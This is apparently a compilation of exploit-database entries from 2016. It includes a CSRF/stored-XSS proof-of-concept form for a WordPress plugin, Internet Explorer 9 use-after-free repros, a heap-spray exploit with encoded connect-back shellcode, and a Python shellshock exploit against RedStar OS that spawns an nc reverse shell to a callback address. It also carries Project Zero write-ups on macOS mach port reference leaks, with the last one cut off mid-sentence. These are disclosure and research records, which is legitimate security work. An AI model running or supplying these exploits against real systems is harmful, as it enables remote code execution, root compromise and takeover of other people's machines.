Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr  
Social:     twitter.com/XSSed.fr
Feeds:      www.zwx.fr/feed/
Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


                             Copyright (c) 2016 | ZwX - Security Researcher (Software & web application)
            
<!--
Details
================
Software: Quiz And Survey Master (Formerly Quiz Master Next)
Version: 4.5.4,4.7.8
Homepage: https://wordpress.org/plugins/quiz-master-next/
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-quiz-and-survey-master-formerly-quiz-master-next-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF/stored XSS in Quiz And Survey Master (Formerly Quiz Master Next) allows unauthenticated attackers to do almost anything an admin can

Vulnerability
================
A CSRF vulnerability allows an unauthenticated attacker to add questions to existing quizzes.
The question_name parameter is put into a manually-constructed JavaScript object and escaped with esc_js() (php/qmn_options_questions_tab.php line 499). If the user (or attacker) creates a new question on a quiz containing “<script>alert(1)</script>” in the question_name field then “question: ‘<script>alert(1)</script>’,” will get output inside the JS object. All good so far.
However, in js/admin_question.js on line 205, we see this line, as part of some JS-generated HTML:
jQuery(\'<textarea/>\').html(questions_list[i].question.replace(/\"/g, \'\"\').replace(/\'/g, \"\'\")).text()+
This looks okay. We’re creating a TEXTAREA element, setting its HTML to the value of the question_name parameter, and extracting the .text() of it. If we did jQuery(‘<textarea/>’).html(‘<script>alert(1)</script>’).text() we would get “alert(1)” as the output.
However, that’s not how inline JavaScript gets parsed. Between a <script> and a </script>, the HTML parser actually parses “<” as “<” not as “<“. So if we do jQuery(‘<textarea/>’).html(‘<script>alert(1)</script>’).text() we get “<script>alert(1)</script>”.
And since “<script>alert(1)</script>” doesn’t appear anywhere in the page, Chrome’s reflected XSS mitigation measures are not activated. Thus the stored XSS attack can be executed immediately.

Proof of concept
================
-->

Click the submit button on the following page (in a real attack the form can be submitted without user interaction):
<form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=1\">
<input type=\"text\" name=\"question_type\" value=\"0\">
<input type=\"text\" name=\"question_name\" value=\"<script>alert(1)</script>\">
<input type=\"text\" name=\"question_submission\" value=\"new_question\">
<input type=\"text\" name=\"quiz_id\" value=\"1\">
<input type=\"submit\">
</form>

<!--
Mitigations
================
Upgrade to version 4.7.9 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2015-09-14: Discovered
2016-12-07: Reported to vendor via https://quizandsurveymaster.com/contact-us/
2016-12-07: Requested CVE
2016-12-13: Vendor replied
2016-12-14: Vendor reported issue fixed in version 4.7.9
2016-12-15: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
-->
            
<!--
Source: http://blog.skylined.nl/20161215001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. The use appears to happen only once almost immediately after the free, which makes practical exploitation unlikely.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Details

It appears there is an implementation bug in the split­Text method of CDATASection (Text) objects in SVG. split­Text should split a Text node into two Text nodes, by creating a new Text node and moving some of the text data from the original node to the new node. After this, each node contains a sub-string of the original text.

The bug can be triggered by calling this method with zero as the index argument on a CDATASection which contains some text. In this case, the code will return a new Text node that contains the entire text but it does not remove the text from the original node. I am speculating that this causes an additional reference to the test data without increasing its reference counter. This failure to increase the reference counter can cause this reference counter to drop to zero before all references are destroyed. I believe this is the case because the below repro triggers a use-after-free.

<svg xmlns='http://www.w3.org/2000/svg'>
  <script type="text/javascript">
    var o­CDATASection = document.create­CDATASection("Aa");
    o­Text­Node1 = o­CDATASection.split­Text(0);
    alert("Expected ''+'Aa', got '" + o­CDATASection.whole­Text + "'+'" + o­Text­Node1.whole­Text + "'");
    o­CDATASection.append­Data("Bb");
    alert("Expected 'Bb'+'Aa', got '" + o­CDATASection.whole­Text + "'+'" + o­Text­Node1.whole­Text + "'");
    o­Text­Node3 = o­CDATASection.split­Text(0);
// Uncommenting the following line prevents the crash - not sure why.
//    alert("Expected ''+'Bb'+'Aa', got '" + o­CDATASection.whole­Text + "'+'" + o­Text­Node3.whole­Text + "'+'" + o­Text­Node1.whole­Text + "'");
    o­Text­Node3.replace­Whole­Text("Cc");
  </script>
</svg>

I've created another, more complex repro as well:

Repro.svg:
-->

<svg xmlns='http://www.w3.org/2000/svg'>
  <script type="text/javascript">
    function B(b­Value) { return b­Value ? "T" : "F" };
    var o­Element = document.create­Element("x");
    var o­CDATASection = document.create­CDATASection("AB");
    o­Element.append­Child(o­CDATASection);
    // split­Text should split a Text node into two text Nodes, each containing a substring of the data of the original Text node.
    // However, MSIE does not implement this correctly, causing both Text nodes to refer to the same data.
    o­Text­Node1 = o­CDATASection.split­Text(0);
    alert("[AB**|AB**AB=AB]\r\n[" +
        o­Element.text­Content + "**" + 
        o­CDATASection.node­Value + "|" + o­Text­Node1.node­Value + "**" +
        o­CDATASection.whole­Text + "=" + o­Text­Node1.whole­Text + "]");
    o­CDATASection.append­Data("CD");
    alert("[CDAB**CD|AB**CDAB=CDAB]TT\r\n[" +
        o­Element.text­Content + "**" + 
        o­CDATASection.node­Value + "|" + o­Text­Node1.node­Value + "**" +
        o­CDATASection.whole­Text + "=" + o­Text­Node1.whole­Text + "]" +
        B(o­CDATASection.parent­Node === o­Element) + B(o­Text­Node1.parent­Node === o­Element)
    );
    var o­Text­Node2 = o­CDATASection.split­Text(0);
    alert("[CDAB**|CD|AB**CDAB=CDAB=CDAB]TTT\r\n[" +
        o­Element.text­Content + "**" + 
        o­CDATASection.node­Value + "|" + o­Text­Node2.node­Value + "|" + o­Text­Node1.node­Value + "**" +
        o­CDATASection.whole­Text + "=" + o­Text­Node2.whole­Text + "=" + o­Text­Node1.whole­Text + "]" +
        B(o­CDATASection.parent­Node === o­Element) + B(o­Text­Node2.parent­Node === o­Element) + B(o­Text­Node1.parent­Node === o­Element)
    );
    var o­Text­Node3 = o­CDATASection.replace­Whole­Text("EF");
    alert("[EF**EF||**EF=EF=EF]TFF\r\n[" +
        o­Element.text­Content + "**" + 
        o­CDATASection.node­Value + "|" + o­Text­Node2.node­Value + "|" + o­Text­Node1.node­Value + "**" +
        o­CDATASection.whole­Text + "=" + o­Text­Node2.whole­Text + "=" + o­Text­Node1.whole­Text + "]" +
        o­CDATASection.parent­Node + "/" + o­Text­Node2.parent­Node + "/" + o­Text­Node1.parent­Node
    );
  </script>
</svg>

<!--
Time-line

Unknown date: This vulnerability was found through fuzzing.
12 December 2012: This vulnerability was submitted to EIP.
21 January 2013: This vulnerability was rejected by EIP.
Unknown date: This vulnerability was address by Microsoft.
15 December 2016: Details of this vulnerability are released.
-->
            
<!--
Source: http://blog.skylined.nl/20161216001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <head>
    <script defer>
      var o­Element = document.get­Element­By­Id("ruby");
      var o­Element = o­Element.parent­Node.remove­Child(o­Element);
      document.write("<abbr></abbr>");
      document.document­Element.offset­Top;
      set­Timeout("location.reload()", 100);
    </script>
  </head>
  <body>
    <abbr dir="ltr">
      <ruby id="ruby" dir="rtl">
      </ruby>
    </abbr>
  </body>
</html>

<!--
Time-line

Sometime in October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
27 November 2013: This vulnerability was rejected by EIP.
14 January 2013: This vulnerability was submitted to ZDI.
6 February 2013: This vulnerability was acquired by ZDI.
13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: This vulnerability was address by Microsoft in MS13-021.
16 December 2016: Details of this vulnerability are released.
-->
            
<!-- 
Download: https://github.com/HackerFantastic/Public/blob/master/exploits/jackrabbit.tgz
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40936.tgz
-->

<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>n0m3rcYn0M3rCyn0m3Rc</FONT></p>
<p>
<FONT>N0MeRCYn0m3rCyn0m3rCyn0m</FONT>
</p>
<p>
<FONT>n0MERCypDK  </FONT>
</p>
</div>
<script language="JavaScript">
var xunescape = unescape;
oneblock = xunescape("%u0040%u1000");
stackpivot = xunescape("%u6885%u0805%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u5a91%u0805%u4141%u4141");
nopsled = xunescape("%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568%u8508%u0568"); 

ropgadget = xunescape("%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000")

<!-- connect back ("192.168.0.10,80")  ffff = port, 01020304 = ipaddr "%udc08%u0490%ua408%u04bd%u0008%u0200%u0000%u0f00%u0700%u0000%u2200%u0000%u0000%u0000%u0000%u0000%uec00%u0491%u0008%u0200%u0000%u0200%uc100%u10e3%u0040%u0010%u0000%u0200%u9000%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%u0168%u0302%u6604%uff68%u43ff%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061" -->

shellcode = xunescape("%u9090%u9090%u9090%u9090%u9090%u3190%u53db%u5343%u026a%u666a%u8958%ucde1%u9380%ub059%ucd3f%u4980%uf979%u5a5b%uc068%u00a8%u660a%u0068%u4350%u5366%ue189%u66b0%u5150%u8953%u43e1%u80cd%u6852%u2f2f%u6873%u2f68%u6962%u896e%u52e3%u8953%ub0e1%ucd0b%u0080%u6568%u7061%u6120%u6464%u3a72%u2520%u3830%u0a78%u7200%u6e75%u696e%u676e%u6620%u6f72%u206d%u6568%u2061");


var fullblock = oneblock; 
while (fullblock.length < 393216)
{
  fullblock += fullblock;
}

var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;

function fill_function()
{
  if(! sprayready) {
    for (xi=0; xi<800/100; xi++, sprayContainerIndex++)
    {
      sprayContainer[sprayContainerIndex] = fullblock + stackpivot + oneblock + nopsled  + nopsled  + nopsled  + nopsled  + nopsled  + nopsled  + nopsled  + nopsled + nopsled + nopsled  + nopsled  + nopsled + nopsled  + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + nopsled + ropgadget + shellcode;
    }
  } else {
    DataTranslator();
    GenerateHTML();
  }
  if(sprayContainer.length >= 1000) {
    sprayready = true;
  }
}

var searchArray = new Array();

function escapeData(data)
{
  var xi;
  var xc;
  var escData='';
  for(xi=0; xi<data.length; xi++)
  {
    xc=data.charAt(xi);
    if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
      escData+=xc;
  }
  return escData;
}

function DataTranslator()
{
  searchArray = new Array();
  searchArray[0] = new Array();
  searchArray[0]["dac"] = "Kros";
  var newElement = document.getElementById("content");
  if (document.getElementsByTagName) {
    var xi=0;
    pTags = newElement.getElementsByTagName("p");
    if (pTags.length > 0)
      while (xi < pTags.length)
        {
          oTags = pTags[xi].getElementsByTagName("font");
          searchArray[xi+1] = new Array();
          if (oTags[0])   {
            searchArray[xi+1]["dac"] = oTags[0].innerHTML;
          }
          xi++;
        }
  }
}

function GenerateHTML()
{
  var xhtml = "";
  for (xi=1;xi<searchArray.length;xi++)
  {
    xhtml += escapeData(searchArray[xi]["dac"]);
  }
}

setInterval("fill_function()", .5);

</script>
</body>
</html>
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=926

mach ports are really struct ipc_port_t's in the kernel; this is a reference-counted object,
ip_reference and ip_release atomically increment and decrement the 32 bit io_references field.

Unlike OSObjects, ip_reference will allow the reference count to overflow, however it is still 32-bits
so without either a lot of physical memory (which you don't have on mobile or most desktops) or a real reference leak
this isn't that interesting.

** MIG and mach message rights ownership **

ipc_kobject_server in ipc_kobject.c is the main dispatch routine for the kernel MIG endpoints. When userspace sends a
message the kernel will copy in the message body and also copy in all the message rights; see for example
ipc_right_copyin in ipc_right.c. This means that by the time we reach the actual callout to the MIG handler any port rights
contained in a request have had their reference count increased by one.

After the callout we reach the following code (still in ipc_kobject_server):

    if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
         //  The server function is responsible for the contents
         //  of the message.  The reply port right is moved
         //  to the reply message, and we have deallocated
         //  the destination port right, so we just need
         //  to free the kmsg.
        ipc_kmsg_free(request);
    } else {
         //  The message contents of the request are intact.
         //  Destroy everthing except the reply port right,
         //  which is needed in the reply message.
        request->ikm_header->msgh_local_port = MACH_PORT_NULL;
        ipc_kmsg_destroy(request);
    }

If the MIG callout returns success, then it means that the method took ownership of *all* of the rights contained in the message.
If the MIG callout returns a failure code then the means the method took ownership of *none* of the rights contained in the message.

ipc_kmsg_free will only destroy the message header, so if the message had any other port rights then their reference counts won't be
decremented. ipc_kmsg_destroy on the other hand will decrement the reference counts for all the port rights in the message, even those
in port descriptors.

If we can find a MIG method which returns KERN_SUCCESS but doesn't in fact take ownership of any mach ports its passed (by for example
storing them and dropping the ref later, or using them then immediately dropping the ref or passing them to another method which takes
ownership) then this can lead to us being able to leak references.

** indirect MIG methods **

Here's the MIG request structure generated for io_service_add_notification_ool_64:

  typedef struct {
          mach_msg_header_t Head;
          // start of the kernel processed data
          mach_msg_body_t msgh_body;
          mach_msg_ool_descriptor_t matching;
          mach_msg_port_descriptor_t wake_port;
          // end of the kernel processed data
          NDR_record_t NDR;
          mach_msg_type_number_t notification_typeOffset; // MiG doesn't use it
          mach_msg_type_number_t notification_typeCnt;
          char notification_type[128];
          mach_msg_type_number_t matchingCnt;
          mach_msg_type_number_t referenceCnt;
          io_user_reference_t reference[8];
          mach_msg_trailer_t trailer;
  } Request __attribute__((unused));


This is an interesting method as its implementation actually calls another MIG handler:


  static kern_return_t internal_io_service_add_notification_ool(
  ...
    kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t) matching );
    data = CAST_DOWN(vm_offset_t, map_data);
    
    if( KERN_SUCCESS == kr) {
      // must return success after vm_map_copyout() succeeds
      // and mig will copy out objects on success
      *notification = 0;
      *result = internal_io_service_add_notification( master_port, notification_type,
                                                     (char *) data, matchingCnt, wake_port, reference, referenceSize, client64, notification );
      vm_deallocate( kernel_map, data, matchingCnt );
    }
    
    return( kr );
  }


and internal_io_service_add_notification does this:


    static kern_return_t internal_io_service_add_notification(
      ...
      if( master_port != master_device_port)
        return( kIOReturnNotPrivileged);
      
      do {
        err = kIOReturnNoResources;
        
        if( !(sym = OSSymbol::withCString( notification_type )))
          err = kIOReturnNoResources;
        
        if (matching_size)
        {
          dict = OSDynamicCast(OSDictionary, OSUnserializeXML(matching, matching_size));
        }
        else
        {
          dict = OSDynamicCast(OSDictionary, OSUnserializeXML(matching));
        }
        
        if (!dict) {
          err = kIOReturnBadArgument;
          continue;
        }
      ...
      } while( false );
      
      return( err );


This inner function has many failure cases (wrong kernel port, invalid serialized data) which we can easily trigger and these error paths lead
to this inner function not taking ownership of the wake_port argument. However, MIG will only see the return value of the outer internal_io_service_add_notification_ool
which will always return success if we pass a valid ool memory descriptor. This violates ipc_kobject_server's ownership model where success means ownership 
was taken of all rights, not just some.

What this leads to is actually quite a nice primitive for constructing an ipc_port_t reference count overflow without leaking any memory.

If we call io_service_add_notification_ool with a valid ool descriptor, but fill it with data that causes OSUnserializeXML to return an error then
we can get that memory freed (via the vm_deallocate call above) but the reference on the wake port will be leaked since ipc_kmsg_free will be called, not
ipc_kmsg_destroy.

If we send this request 0xffffffff times we can cause a ipc_port_t's io_references field to overflow to 0; the next time it's used the ref will go 0 -> 1 -> 0
and the object will be free'd but we'll still have a dangling pointer in our process's ports table.

As well as being a regular kernel UaF this also gives us the opportunity to do all kinds of fun mach port related logic attacks, eg getting send rights to
other task's task ports via our dangling ipc_port_t pointer.

** practicality **

On my 4 year old dual core MBA 5,2 running with two threads this PoC takes around 8 hours after which you should see a kernel panic indicative of a UaF.
Note that there are no resources leaks involved here so you can run it even on very constrained systems like an iPhone and it will work fine,
albeit a bit slowly :)

This code is reachable from all sandboxed environments.

** fixes **

One approach to fixing this issue would be to do something similar to OSObjects which use a saturating reference count and leak the object if the reference count saturates

I fear there are a great number of similar issues so just fixing this once instance may not be enough.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40955.zip
            
#!/usr/bin/env python
# RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit
# ========================================================
# BEAM & RSSMON are Webmin based configuration utilities
# that ship with RSS server 3.0. These packages are the
# recommended GUI configuration components and listen on
# a user specified port from 10000/tcp to 65535/tcp. They
# are accessible on the local host only in vanilla install
# unless the firewall is disabled. Both services run with
# full root permissions and can be exploited for LPE or
# network attacks. RSSMON has hardened SELinux policies
# applied which hinder exploitation of this vulnerability
# be limiting access to network resources. Commands are
# still run as root in a blind way.
#
# $ python rsshellshock.py beam 192.168.0.31 10000 192.168.0.10 8080
# [+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit
# [-] exploiting shellshock CVE-2014-6271...
# sh: no job control in this shell
# sh-4.1# id
# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:beam_t:s0-s15:c0.c1023
# sh-4.1# 
#
# -- Hacker Fantastic (https://myhackerhouse.com)
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import requests
import sys
import os

def spawn_shell(cbport):
    subprocess.call('nc -l ' + cbport, shell=True)

def shellshock(soft,ip,port,cbip,cbport):
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    if soft == "beam":
        user_agent = {'User-agent': '() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'}
    else:
        shellstring = '() { :; }; /bin/bash -c "%s"' % (cbip)
        user_agent = {'User-agent': shellstring}
    print "[-] exploiting shellshock CVE-2014-6271..."
    myreq = requests.get("https://"+ip+":"+port+"/session_login.cgi", headers = user_agent, verify=False)

if __name__ == "__main__":
    print "[+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit"
    if len(sys.argv) < 5:
        print "[-] Use with <beam> <host> <port> <connectback ip> <connectback port>"
        print "[-] Or with <rssmon> <host> <port> <cmd>"
        sys.exit()
    if(sys.argv[1]=="beam"):
        newRef=os.fork()
        if newRef==0:
            shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])    
        else:
            spawn_shell(sys.argv[5])
    else:
        shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],0)
            
Both of these issues were reported to the Apport maintainers and a fix was released on 2016-12-14. The CrashDB code injection issue can be tracked with CVE-2016-9949 and the path traversal bug with CVE-2016-9950. An additional problem where arbitrary commands can be called with the “Relaunch” action is tracked by CVE-2016-9951. I’d like to thank Martin Pitt and the Ubuntu security team for getting a fix (https://bugs.launchpad.net/apport/+bug/1648806) released so quickly. They have been a pleasure to work with.

I would encourage all security researchers to audit free and open source software if they have time on their hands. Projects such as Tor, Tails, Debian and Ubuntu all need more eyes for audits which can improve the safety of the internet for everyone. There are lots of bugs out there which don’t need hardcore memory corruption exploitation skills. Logic bugs can be much more reliable than any ROP chain.

The computer security industry has a serious conflict of interest right now. There is major financial motivation for researchers to find and disclose vulnerability to exploit brokers. Many of the brokers are in the business of keeping problems unfixed. Code execution bugs are valuable. As a data point, I received an offer of more than 10,000 USD from an exploit vendor for these Apport bugs. These financial motivators are only increasing as software gets more secure and bugs become more difficult to find.

To improve security for everyone we need to find sustainable ways to incentivize researchers to find and disclose issues and to get bugs fixed. We can’t and we shouldn’t rely on researchers giving away their work for free to for-profit vendors. We will not get security like that.

Microsoft and Google have shown a good example with their vulnerability reward programs. The Internet Bug Bounty (https://internetbugbounty.org/) is also doing great work and helping to support research on critical internet software. I hope that they can continue the program and expand their scope in the future. I hope we can cooperatively build a shared and secure internet together.

Source: https://donncha.is/2016/12/compromising-ubuntu-desktop/



Download: https://github.com/DonnchaC/ubuntu-apport-exploitation/archive/6ecfdf798f39fdd49b5929240d90a876c1e97ebb.zip
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40937.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=941

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40956.zip

The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code,
a lot of mach message and MIG code had to run for each leak.

There are a handful of mach operations which have their own fast-path syscalls (mach traps.)
One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach
port name in our process from a port we already have. Here's the code:

  int
  _kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args)
  {
    task_t task = port_name_to_task(args->target);
    ipc_port_t port;
    mach_msg_type_name_t disp;
    int rv = MACH_SEND_INVALID_DEST;

    if (task != current_task())
      goto done;

    rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly,
        (ipc_object_t *)&port);
    if (rv != KERN_SUCCESS)
      goto done;
    disp =  (args->polyPoly);

    rv = mach_port_insert_right(task->itk_space, args->name, port, disp);
    
  done:
    if (task)
      task_deallocate(task);
    return (rv);
  }

ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights)
in the current process's mach port namespace and return an ipc_port_t pointer in port.

If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller.

mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then
no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap
doesn't handle the failure case.

it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new
right (eg MACH_PORT_NULL.)

This allows you to overflow the reference count of the port and cause a kernel UaF in about 20
minutes using a single thread.

################################################################################

LPE exploit for the kernel ipc_port_t reference leak bug

I wanted to explore some more interesting exploit primitives I could build with this bug.

One idea I had was to turn a send right for a mach port into a receive right for that port.
We can do this by using the reference count leak to cause a port for which we have a send right
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
which had a send right) and forcing the memory to be reallocated with a new port for which we
hold a receive right.

We could for example target a userspace IPC service and replace a send right we've looked up via
launchd with a receive right allowing us to impersonate the service to other clients.

Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
called directly. Those kernel-owned receive rights are however still ports and we can free them using
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
end up impersonating the kernel to other processes!

Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
services we can get other processes to send us their task ports and thus gain complete control over them.

io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
port and the message contains the sender's task port as the owningTask parameter :)

For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
